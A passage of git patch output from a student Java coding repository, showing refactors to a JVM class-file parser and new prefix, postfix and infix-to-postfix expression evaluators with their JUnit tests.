 	
 	public String toString(){
 		StringBuilder buffer = new StringBuilder();
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java
index 3dd937aa2f..55dea64c19 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/attr/LocalVariableTable.java
@@ -9,7 +9,7 @@
 
 public class LocalVariableTable extends AttributeInfo{
 
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	List<LocalVariableItem> items = new ArrayList<>();
 	
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
 		super(attrNameIndex, attrLen);		
@@ -19,26 +19,24 @@ public LocalVariableTable(int attrNameIndex, int attrLen) {
 	private void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
-	
+
 	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		int index = iter.nextU2toInt();
-		int len = iter.nextU4toInt();
-		
-		LocalVariableTable table = new LocalVariableTable(index,len);
-		
-		int itemLen = iter.nextU2toInt();
-		
-		for(int i=1; i<=itemLen; i++){
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(iter.nextU2toInt());
-			item.setLength(iter.nextU2toInt());
-			item.setNameIndex(iter.nextU2toInt());
-			item.setDescIndex(iter.nextU2toInt());
-			item.setIndex(iter.nextU2toInt());
-			table.addLocalVariableItem(item);
-		}
-		return table;
+	    int nameIndex = iter.nextU2toInt();
+	    int attrLen = iter.nextU4toInt();
+        LocalVariableTable table = new LocalVariableTable(nameIndex, attrLen);
+        int tableLen = iter.nextU2toInt();
+
+        for(int i=0; i<tableLen; i++) {
+            LocalVariableItem item = new LocalVariableItem();
+            item.setStartPC(iter.nextU2toInt());
+            item.setLength(iter.nextU2toInt());
+            item.setNameIndex(iter.nextU2toInt());
+            item.setDescIndex(iter.nextU2toInt());
+            item.setIndex(iter.nextU2toInt());
+            table.addLocalVariableItem(item);
+        }
+
+        return table;
 	}
 	
 	
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
index d89b31c87c..7507e0a2af 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
@@ -20,9 +20,11 @@ public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool po
 	}
 
 	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		// String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		String name = pool.getUTF8String(nameIndex);
 		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		//String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		String desc = pool.getUTF8String(descriptorIndex);
 		return name +":"+ desc;
 	}
 	
@@ -35,7 +37,7 @@ public static Field parse(ConstantPool pool, ByteCodeIterator iter){
 		int attribCount = iter.nextU2toInt();
 		//System.out.println("field attribute count:"+ attribCount);
 		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		Field f = new Field(accessFlag, nameIndex, descIndex, pool);
 		
 		if(attribCount > 0){
 			throw new RuntimeException("Field Attribute has not been implemented");
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
index 2cdfb950af..f3457e1ae5 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/loader/ClassFileParser.java
@@ -80,23 +80,18 @@ private void parseInterfaces(ByteCodeIterator iter) {
 
     private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
         int fieldCount = iter.nextU2toInt();
-
-        for (int i = 1; i <= fieldCount; i++) {
+        for (int i =0; i<fieldCount; i++) {
             Field f = Field.parse(clzFile.getConstantPool(), iter);
             clzFile.addField(f);
         }
-
     }
 
     private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
         int methodCount = iter.nextU2toInt();
-
-        for (int i = 1; i <= methodCount; i++) {
+        for (int i=0; i<methodCount; i++) {
             Method m = Method.parse(clzFile, iter);
             clzFile.addMethod(m);
         }
-
     }
 
     protected ConstantInfo getConstantInfo(ByteCodeIterator iter, int tag, ConstantPool pool) {
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
index 3e08abc298..886913638e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -52,10 +52,10 @@ public String toString() {
 		ConstantPool pool = this.clzFile.getConstantPool();
 		StringBuilder buffer = new StringBuilder();
 		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
+		// String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		String name = pool.getUTF8String(nameIndex);
+		// String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		String desc = pool.getUTF8String(descriptorIndex);
 		buffer.append(name).append(":").append(desc).append("\n");
 		
 		buffer.append(this.codeAttr.toString(pool));
@@ -63,7 +63,7 @@ public String toString() {
 		return buffer.toString();
 	}
 	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+	public static Method parse_V2(ClassFile clzFile, ByteCodeIterator iter){
 		int accessFlag = iter.nextU2toInt();
 		int nameIndex = iter.nextU2toInt();
 		int descIndex = iter.nextU2toInt();
@@ -72,22 +72,25 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
 		
-		for( int j=1; j<= attribCount; j++){
-			
+		for( int j=1; j<= attribCount; j++) {
+
 			int attrNameIndex = iter.nextU2toInt();
 			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
 			iter.skip(-2);
-			
-			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+
+			if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
 				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
 				m.setCodeAttr(codeAttr);
-			} else{
-				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+			} else {
+				throw new RuntimeException("only CODE attribute is implemented , please implement the " + attrName);
 			}
-			
+
 		}
-		
 		return m ;
-		
 	}
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+
+		return null;
+	}
+
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index dde100361f..c9cb40d314 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -240,7 +240,7 @@ public void testMethods(){
     }
 
     private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-        String methodName = pool.getUTF8String(m.getNameIndex());
+         String methodName = pool.getUTF8String(m.getNameIndex());
         String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
         String code = m.getCodeAttr().getCode();
         Assert.assertEquals(expectedName, methodName);

From 72165012604cea80ed8bfd490d9b007c152b3620 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sun, 30 Apr 2017 21:08:21 +0800
Subject: [PATCH 146/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E5=89=8D=E7=BC=80?=
 =?UTF-8?q?=E8=A1=A8=E8=BE=BE=E5=BC=8F=E6=B1=82=E5=80=BC=20PrefixExpr.java?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/stack/expr/ExprUtil.java | 38 +++++++++++++
 .../basic/stack/expr/InfixToPostfix.java      | 14 +++++
 .../basic/stack/expr/PostfixExpr.java         | 18 ++++++
 .../basic/stack/expr/PostfixExprTest.java     | 41 +++++++++++++
 .../basic/stack/expr/PrefixExpr.java          | 51 +++++++++++++++++
 .../basic/stack/expr/PrefixExprTest.java      | 45 +++++++++++++++
 .../coding2017/basic/stack/expr/Token.java    | 54 ++++++++++++++++++
 .../basic/stack/expr/TokenParser.java         | 57 +++++++++++++++++++
 .../basic/stack/expr/TokenParserTest.java     | 39 +++++++++++++
 9 files changed, 357 insertions(+)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExprTest.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExpr.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExprTest.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/Token.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParser.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParserTest.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java
new file mode 100644
index 0000000000..293117b3f6
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java
@@ -0,0 +1,38 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+/**
+ * Created by thomas_young on 30/4/2017.
+ */
+public class ExprUtil {
+
+    /**
+     * 求值
+     * @param operand1  操作数1
+     * @param operator  操作符
+     * @param operand2  操作数2
+     * @return Token表示的值
+     */
+    public static Token evalute(Token operand1, Token operator, Token operand2) {
+        float resultValue;
+        switch (operator.value) {
+            case "+": {
+                resultValue = operand1.getFloatValue() + operand2.getFloatValue();
+                break;
+            }
+            case "-": {
+                resultValue = operand1.getFloatValue() - operand2.getFloatValue();
+                break;
+            }
+            case "*": {
+                resultValue = operand1.getFloatValue() * operand2.getFloatValue();
+                break;
+            }
+            case "/": {
+                resultValue = operand1.getFloatValue() / operand2.getFloatValue();
+                break;
+            }
+            default: throw new RuntimeException("不支持的运算符:" + operator.value);
+        }
+        return new Token(Token.NUMBER, String.valueOf(resultValue));
+    }
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..5ae9bfedab
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,14 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.List;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		
+		return null;
+	}
+	
+	
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..207640d6bd
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,18 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExprTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..24aa8f44f5
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExpr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..20f0a15e9c
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,51 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Stack;
+
+/**
+ https://en.wikipedia.org/wiki/Polish_notation
+ Scan the given prefix expression from right to left
+ for each symbol
+ {
+	 if operand then
+		push onto stack
+	 if operator then
+ {
+	 operand1=pop stack
+	 operand2=pop stack
+	 compute operand1 operator operand2
+	 push result onto stack
+ }
+ }
+ return top of stack as result
+ */
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse(expr);
+		Collections.reverse(tokens);
+		Stack<Token> operandStack = new Stack<>();
+		for (Token token: tokens) {
+			if (token.isNumber()) {
+				operandStack.push(token);
+			} else {
+				Token operand1 = operandStack.pop();
+				Token operand2 = operandStack.pop();
+                Token result = ExprUtil.evalute(operand1, token, operand2);
+                operandStack.push(result);
+			}
+		}
+
+		return operandStack.pop().getFloatValue();
+	}
+	
+	
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExprTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..4a0a0955b3
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/Token.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..afaa4a8a41
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/Token.java
@@ -0,0 +1,54 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public float getFloatValue() {
+		return Float.parseFloat(value);
+	}
+
+	public int getIntValue() {
+		return Integer.parseInt(value);
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParser.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..aa4e0560cf
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParserTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..92b54d0bb7
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,39 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		float delta = 0.0001f;
+		Assert.assertEquals(300, tokens.get(0).getFloatValue(), delta);
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getFloatValue(), delta);
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getFloatValue(), delta);
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getFloatValue(), delta);
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getFloatValue(), delta);
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getFloatValue(), delta);
+	}
+
+}

From 3cc449528a99c7e4a3d5456b526f13ad36a0d07c Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sun, 30 Apr 2017 21:20:14 +0800
Subject: [PATCH 147/262] =?UTF-8?q?=E5=90=8E=E7=BC=80=E8=A1=A8=E8=BE=BE?=
 =?UTF-8?q?=E5=BC=8F=E6=B1=82=E5=80=BCPostfixExpr.java?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../basic/stack/expr/PostfixExpr.java         | 35 ++++++++++++++++++-
 1 file changed, 34 insertions(+), 1 deletion(-)

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java
index 207640d6bd..6475450e4c 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/PostfixExpr.java
@@ -3,6 +3,26 @@
 import java.util.List;
 import java.util.Stack;
 
+
+/**
+ https://en.wikipedia.org/wiki/Reverse_Polish_notation
+
+ While there are input tokens left
+     Read the next token from input.
+        If the token is a value
+            Push it onto the stack.
+        Otherwise, the token is an operator (operator here includes both operators and functions).
+            It is already known that the operator takes n arguments.
+            If there are fewer than n values on the stack
+                (Error) The user has not input sufficient values in the expression.
+            Else, Pop the top n values from the stack.
+            Evaluate the operator, with the values as arguments.
+            Push the returned results, if any, back onto the stack.
+     If there is only one value in the stack
+        That value is the result of the calculation.
+     Otherwise, there are more values in the stack
+        (Error) The user input has too many values.
+ */
 public class PostfixExpr {
 String expr = null;
 	
@@ -11,7 +31,20 @@ public PostfixExpr(String expr) {
 	}
 
 	public float evaluate() {
-		return 0.0f;
+        TokenParser parser = new TokenParser();
+        List<Token> tokens  = parser.parse(expr);
+        Stack<Token> operandStack = new Stack<>();
+        for (Token token: tokens) {
+            if (token.isNumber()) {
+                operandStack.push(token);
+            } else {
+                Token operand1 = operandStack.pop();
+                Token operand2 = operandStack.pop();
+                Token result = ExprUtil.evalute(operand2, token, operand1);
+                operandStack.push(result);
+            }
+        }
+		return operandStack.pop().getFloatValue();
 	}
 	
 	

From 431ffd26efae1ce785616310b70999a2f47d37f0 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Sun, 30 Apr 2017 22:28:41 +0800
Subject: [PATCH 148/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E4=B8=AD=E7=BC=80?=
 =?UTF-8?q?=E8=BD=AC=E5=90=8E=E7=BC=80=E8=A1=A8=E8=BE=BE=E5=BC=8FInfixToPo?=
 =?UTF-8?q?stfix.java,=E5=B9=B6=E8=A1=A5=E5=85=85=E6=B5=8B=E8=AF=95?=
 =?UTF-8?q?=E7=94=A8=E4=BE=8BInfixToPostfixTest.java?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding2017/basic/stack/expr/ExprUtil.java | 15 +++++
 .../basic/stack/expr/InfixToPostfix.java      | 49 ++++++++++++--
 .../basic/stack/expr/InfixToPostfixTest.java  | 67 +++++++++++++++++++
 3 files changed, 126 insertions(+), 5 deletions(-)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfixTest.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java
index 293117b3f6..e69042a583 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/ExprUtil.java
@@ -1,5 +1,7 @@
 package com.github.miniyk2012.coding2017.basic.stack.expr;
 
+import java.util.List;
+
 /**
  * Created by thomas_young on 30/4/2017.
  */
@@ -35,4 +37,17 @@ public static Token evalute(Token operand1, Token operator, Token operand2) {
         }
         return new Token(Token.NUMBER, String.valueOf(resultValue));
     }
+
+    public static String tokens2String(List<Token> tokens) {
+        StringBuffer buffer = new StringBuffer();
+        int i = 0;
+        for (Token token: tokens) {
+            if (i != tokens.size()-1)
+                buffer.append(token.toString()+" ");
+            else
+                buffer.append(token.toString());
+            i++;
+        }
+        return buffer.toString();
+    }
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java
index 5ae9bfedab..d99971e5b6 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfix.java
@@ -1,14 +1,53 @@
 package com.github.miniyk2012.coding2017.basic.stack.expr;
 
+import java.util.EmptyStackException;
+import java.util.LinkedList;
 import java.util.List;
+import java.util.Stack;
 
+/**
+ * Shunting-yard algorithm
+ * https://en.wikipedia.org/wiki/Shunting-yard_algorithm
+ 初始化一个运算符栈和一个输出队列
+ 不断读取token
+     如果token是一个数
+        将其放入输出队列
+     如果token是一个运算符o1
+        while栈顶部有运算符o2:
+            如果o1的优先级小于等于o2，把o2取出放到输出队列
+        最后push(o1)
+ 将栈中的操作符逐个出栈放到输出队列
+ */
 public class InfixToPostfix {
 	
 	public static List<Token> convert(String expr) {
-		
-		return null;
+        TokenParser parser = new TokenParser();
+        List<Token> tokens  = parser.parse(expr);
+        Stack<Token> operatorStack = new Stack<>();
+		List<Token> outputTokens = new LinkedList<>();
+        for (Token token: tokens) {
+            if (token.isNumber()) {
+                outputTokens.add(token);
+            } else {
+                while (true) {
+                    try {
+                        Token o2 = operatorStack.peek();
+                        if (!token.hasHigherPriority(o2)) {
+                            operatorStack.pop();
+                            outputTokens.add(o2);
+                        } else {
+                            break;
+                        }
+                    } catch (EmptyStackException e) {
+                        break;
+                    }
+                }
+                operatorStack.push(token);
+            }
+        }
+        while (!operatorStack.isEmpty()) {
+            outputTokens.add(operatorStack.pop());
+        }
+		return outputTokens;
 	}
-	
-	
-
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfixTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..b363e58e35
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixToPostfixTest.java
@@ -0,0 +1,67 @@
+package com.github.miniyk2012.coding2017.basic.stack.expr;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.Before; 
+import org.junit.After;
+
+import java.util.List;
+
+/** 
+* InfixToPostfix Tester. 
+* 
+* @author <Authors name> 
+* @since <pre>Apr 30, 2017</pre> 
+* @version 1.0 
+*/ 
+public class InfixToPostfixTest { 
+
+    @Before
+    public void before() throws Exception {
+    }
+
+    @After
+    public void after() throws Exception {
+    }
+
+    /**
+    *
+    * Method: convert(String expr)
+    *
+    */
+    @Test
+    public void testConvert() throws Exception {
+        {
+            String infixExpr = "3+4";
+            List<Token> tokens = InfixToPostfix.convert(infixExpr);
+            Assert.assertEquals("3 4 +", ExprUtil.tokens2String(tokens));
+        }
+        {
+            String infixExpr = "1 * 3 + 4 * 6";
+            List<Token> tokens = InfixToPostfix.convert(infixExpr);
+            Assert.assertEquals("1 3 * 4 6 * +", ExprUtil.tokens2String(tokens));
+        }
+        {
+            String infixExpr = "1 * 3 / 4 * 6";
+            List<Token> tokens = InfixToPostfix.convert(infixExpr);
+            Assert.assertEquals("1 3 * 4 / 6 *", ExprUtil.tokens2String(tokens));
+        }
+        {
+            String infixExpr = "1 + 3 * 4";
+            List<Token> tokens = InfixToPostfix.convert(infixExpr);
